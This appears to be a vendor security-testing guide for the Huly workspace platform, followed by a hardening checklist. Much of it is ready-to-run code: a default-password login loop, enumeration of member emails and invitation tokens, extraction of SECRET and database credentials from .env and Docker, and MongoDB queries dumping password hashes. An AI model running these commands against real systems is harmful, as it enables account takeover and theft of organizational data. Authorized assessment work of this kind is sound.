All-in-One Workspace Security Testing

Huly Security Testing: Default Credentials, API Token, Database, and .env

📅 July 3, 2026 ⏱ 10 min read 🏷 Huly, All-in-One Workspace Security, SECRET Key, MongoDB, MinIO File Storage, Workspace Member Enumeration, API Token

Huly is a widely deployed open-source all-in-one project management platform (Linear/Notion/GitHub alternative) used to manage projects, issues, documents, team communications, and HR processes — it stores all organizational workspace data in one place. Key assessment areas: the SECRET environment variable signs authentication tokens; the API provides access to all workspace content; MongoDB stores all platform data including user accounts, workspace content, and collaboration history; and MinIO stores all uploaded files and attachments. This guide covers systematic Huly security assessment.

Authentication and API Token Testing
API Workspace and Content Enumeration
SECRET Key and MongoDB Credential Extraction
Huly Security Hardening

Authentication and API Token Testing

# Huly — authentication and API token testing
HULY_URL="https://huly.example.com"

# Huly login — email/password authentication
AUTH=$(curl -s -X POST "${HULY_URL}/api/v1/auth/login" \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@example.com","password":"admin"}' 2>/dev/null)
TOKEN=$(echo "$AUTH" | python3 -c "
import json,sys
d=json.load(sys.stdin)
# Huly may return token in different fields
for key in ['token','access_token','result']:
    if key in d and isinstance(d[key],str) and len(d[key]) > 10:
        print(d[key][:50])
        break
else:
    print('FAIL: '+str(list(d.keys())))
" 2>/dev/null)
echo "Token: ${TOKEN}"

# Huly also uses WebSocket for real-time communication
# HTTP API endpoint may vary by deployment version
for PASS in "admin" "huly" "password" "changeme" "admin123"; do
  STATUS=$(curl -s -X POST "${HULY_URL}/api/v1/auth/login" \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"admin@example.com\",\"password\":\"${PASS}\"}" 2>/dev/null | \
    python3 -c "import json,sys; d=json.load(sys.stdin); print('OK' if any(k in d for k in ['token','result','access_token']) else 'FAIL')" 2>/dev/null)
  echo "admin@example.com/${PASS}: ${STATUS}"
done

API Workspace and Content Enumeration

# Huly API — workspace and content enumeration
HULY_URL="https://huly.example.com"
API_TOKEN="your-huly-token"

# Get workspaces (organizations)
curl -s "${HULY_URL}/api/v1/spaces" \
  -H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
spaces = d.get('result',[]) if isinstance(d,dict) else d
print(f'Workspaces: {len(spaces) if isinstance(spaces,list) else spaces}')
if isinstance(spaces,list):
    for s in spaces[:5]:
        print(f'  [{s.get(\"_id\")}] {s.get(\"name\")} members={s.get(\"memberCount\",\"?\")}')
" 2>/dev/null

# Get all workspace members (with email addresses)
WORKSPACE="your-workspace"
curl -s "${HULY_URL}/api/v1/spaces/${WORKSPACE}/members" \
  -H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
members = d.get('result',[]) if isinstance(d,dict) else d
print(f'Members: {len(members) if isinstance(members,list) else members}')
if isinstance(members,list):
    for m in members[:10]:
        print(f'  email={m.get(\"email\",\"\")} name={m.get(\"name\",\"\")} role={m.get(\"role\",\"\")}')
" 2>/dev/null

# Invitation token abuse — workspace invitations have tokens
# Enumerate or predict invitation tokens for unauthorized workspace join
curl -s "${HULY_URL}/api/v1/invites" \
  -H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
invites = d.get('result',[]) if isinstance(d,dict) else d
print(f'Active invites: {len(invites) if isinstance(invites,list) else invites}')
if isinstance(invites,list):
    for i in invites[:5]:
        print(f'  token={i.get(\"_id\",\"\")} workspace={i.get(\"workspace\",\"\")} expires={i.get(\"expiresOn\",\"\")}')
" 2>/dev/null

SECRET Key and MongoDB Credential Extraction

# Huly SECRET key and MongoDB credential extraction

# .env file — Huly configuration
cat /path/to/huly/.env 2>/dev/null | grep -E "SECRET|MONGO|MINIO|ELASTIC|SMTP|PASSWORD"
# SECRET — token signing key
# MONGO_URL — MongoDB connection string
# MINIO_* — object storage credentials
# ELASTIC_URL — Elasticsearch/Meilisearch for search

# Docker environment variables (Huly uses docker-compose)
docker inspect santeam-account 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['SECRET','MONGO','MINIO','ELASTIC','PASSWORD','SMTP']):
            print(e)
" 2>/dev/null

# MongoDB direct access — all workspace data
MONGO_URL="mongodb://huly:PASSWORD@localhost/huly"
mongosh "$MONGO_URL" 2>/dev/null << 'EOF'
// All user accounts
db.account.find({}, {email:1, hash:1, salt:1, workspaces:1, _id:0}).limit(20)
EOF

# Workspace content — projects and issues
mongosh "$MONGO_URL" 2>/dev/null << 'EOF'
// All workspaces (spaces/organizations)
db.workspace.find({}, {workspace:1, name:1, members:1}).limit(20)
EOF

# Stored tokens and sessions
mongosh "$MONGO_URL" 2>/dev/null << 'EOF'
// Active session tokens (may be stored as references)
db.token.find({}).limit(20)
EOF

# MinIO direct access — all uploaded files and attachments
# MinIO stores all file attachments from documents, tasks, and messages
mc ls minio/huly/ 2>/dev/null | head -20
# Contains: document attachments, profile pictures, file uploads in workspace content

# Search index exposure (Elasticsearch or Meilisearch)
# All workspace content may be indexed for search including confidential documents
curl -s "http://localhost:9200/huly/_search?size=5" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
hits = d.get('hits',{}).get('hits',[])
print(f'Indexed docs: {d.get(\"hits\",{}).get(\"total\",{}).get(\"value\",\"?\")}')
for h in hits[:3]:
    src = h.get('_source',{})
    print(f'  type={src.get(\"_class\",\"\")} title={str(src.get(\"title\",src.get(\"name\",\"\")))[:40]}')
" 2>/dev/null

Huly Security Hardening

Huly Security Hardening Checklist:

Protect the SECRET environment variable and rotate tokens immediately if compromised — Huly uses a SECRET key to sign authentication tokens; a compromised SECRET allows forging valid tokens as any workspace user including administrators; generate a strong random SECRET using openssl rand -base64 48; store it in environment variables or a secrets manager rather than plain text configuration files; restrict .env file access to the process user only (chmod 600); rotate the SECRET immediately if the environment has been compromised — all existing tokens will be invalidated and users will need to re-authenticate; implement the token rotation as part of your incident response procedure
Secure MongoDB with authentication and network restrictions — Huly's MONGO_URL contains the complete database connection string providing access to all workspace data including user accounts, workspace content, documents, and collaboration history; configure MongoDB with authentication enabled (never run MongoDB in default unauthenticated mode); bind MongoDB to localhost or the container network, not public interfaces; implement MongoDB Role-Based Access Control with least-privilege database users; enable TLS for MongoDB connections in production; implement MongoDB audit logging to detect unauthorized data access; encrypt sensitive fields in MongoDB using MongoDB Field Level Encryption for highest-sensitivity data
Implement workspace access controls and audit member management — Huly organizes all data within workspaces; implement strict workspace membership controls — ensure only authorized personnel are workspace members; audit workspace membership for former employees or unauthorized accounts; review workspace invitation tokens — active invitations can be used by anyone with the token URL to join the workspace; revoke all outstanding invitations that are not expected to be used; implement expiring invitations for external collaborators; monitor workspace member changes and log all join/leave events for audit purposes
Protect MinIO/S3 file storage — Huly stores all file attachments, uploaded documents, and profile images in MinIO/S3; the MinIO access and secret keys provide access to all stored files including potentially confidential document attachments and sensitive file uploads; configure MinIO with strong unique credentials; restrict MinIO network access to the Huly application only; never expose MinIO publicly without authentication; implement MinIO bucket policies to restrict access to authorized services; enable versioning and access logging in MinIO to maintain an audit trail of file access; implement encryption at rest for MinIO storage volumes
Restrict search index access — Huly indexes workspace content in Elasticsearch or Meilisearch for full-text search functionality; the search index may contain all workspace documents, issues, and messages in indexed form; configure Elasticsearch with authentication (X-Pack Security); do not expose Elasticsearch on public network interfaces; the search index represents a complete copy of all searchable workspace content — protect it with the same rigor as the primary MongoDB database; implement index-level access controls where available; monitor search index access logs for bulk data export patterns indicating unauthorized data exfiltration

Security Test	Method	Risk
SECRET key extraction and token forgery	Read .env SECRET — token signing key; forge valid authentication tokens as any Huly workspace user or administrator bypassing password authentication	Critical
MongoDB credential extraction	Read MONGO_URL from .env or Docker env — complete database connection string; direct access to all workspace content, user accounts, password hashes, and collaboration history	Critical
MinIO/S3 credential extraction	Read MINIO_ACCESS_KEY and MINIO_SECRET_KEY — S3-compatible object storage access; direct access to all uploaded files, document attachments, and workspace media	High
Workspace member email enumeration	GET /api/v1/spaces/{workspace}/members — all workspace member emails and roles; enables targeted spear-phishing against all users of the workspace	High
Search index content exposure	Elasticsearch /huly/_search — all indexed workspace content including documents, issues, and messages; may expose confidential business data without authentication if Elasticsearch is deployed without security enabled	High

Automate Huly Security Testing

Ironimo tests Huly deployments for SECRET key extraction and token forgery, MongoDB credential and workspace data extraction, MinIO file storage credential exposure, workspace member email enumeration, search index unauthenticated content access, Docker environment variable SECRET extraction, workspace invitation token abuse testing, MongoDB authentication bypass testing, Elasticsearch unauthenticated access, and admin credential brute force protection assessment.

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Table of Contents

Authentication and API Token Testing

API Workspace and Content Enumeration

SECRET Key and MongoDB Credential Extraction

Huly Security Hardening

Automate Huly Security Testing